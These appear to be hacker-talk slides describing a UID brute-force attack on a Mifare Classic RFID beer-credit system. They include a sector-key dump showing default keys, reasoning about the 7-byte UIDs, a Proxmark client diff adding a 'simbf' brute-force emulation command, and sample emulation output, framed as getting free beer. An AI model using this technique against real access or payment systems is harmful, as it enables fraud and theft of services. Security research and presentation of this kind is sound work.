

NFB

Near-Field Beers

RFID everywhere!



Mifare Classic everywhere!

sec	key A	res	key B	res
000	ffffffffffff	1	ffffffffffff	1
001	ffffffffffff	1	ffffffffffff	1
002	ffffffffffff	1	ffffffffffff	1
003	ffffffffffff	1	ffffffffffff	1
004	ffffffffffff	1	ffffffffffff	1
005	ffffffffffff	1	ffffffffffff	1
006	ffffffffffff	1	ffffffffffff	1
007	ffffffffffff	1	ffffffffffff	1
008	ffffffffffff	1	ffffffffffff	1
009	ffffffffffff	1	ffffffffffff	1
010	ffffffffffff	1	ffffffffffff	1
011	ffffffffffff	1	ffffffffffff	1
012	ffffffffffff	1	ffffffffffff	1
013	ffffffffffff	1	ffffffffffff	1
014	ffffffffffff	1	ffffffffffff	1
015	ffffffffffff	1	ffffffffffff	1

- Default keys 😊
- All blocks empty 😞



Now what ?

- Credit stored in database
 - Only interesting part on card is UID
 - Cards UID is 7 bytes!
-
- Clone impossible with magic chinese cards (only 4 bytes UID)



Cards UID ?

- 3 cards available
 - 3 different UIDs
 - Only one byte changed between UIDs!
-
- Bruteforce anyone?



Proxmark FTW

- Mifare Classic Emulation exists 😊
- Just add a bruteforce command!
- Args:
 - Starting UID
 - Mask
 - Count
 - Timeout value



Proxmark FTW

```
--- a/client/cmdhf14a.c
+++ b/client/cmdhf14a.c
@@ -737,6 +769,7 @@ static command_t CommandTable[] =
     {"reader", CmdHF14AReader,          0, "Act like an ISO14443
Type A reader"},
     {"cuids", CmdHF14ACUIDs,          0, "<n> Collect n>
ISO14443 Type A UIDs in one go"},
     {"sim", CmdHF14ASim,              0, "<UID> -- Simulate ISO
14443a tag"},
+ {"simbf", CmdHF14ASimBf,            0, "<UID> <mask>
<count> <step> <timeout>-- Simulate Mifare Classic tag,
bruteforce 7 bytes uid"},
     {"snoop", CmdHF14ASnoop,          0, "Eavesdrop ISO 14443
Type A"},
     {"raw", CmdHF14ACmdRaw,           0, "Send raw hex data to
tag"},
     {NULL, NULL, 0, NULL}
```



Proxmark FTW

```
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a01332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a02332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a03332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a04332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a05332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a06332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a07332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a08332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a09332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a0a332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a0b332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a0c332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a0d332188feab)
Emulating ISO/IEC 14443 type A tag with 7 byte UID (4a0e332188feab)
```

...



Demo vidz



FREE  BEER

The end

- No beers were harmed during the making of the demonstration

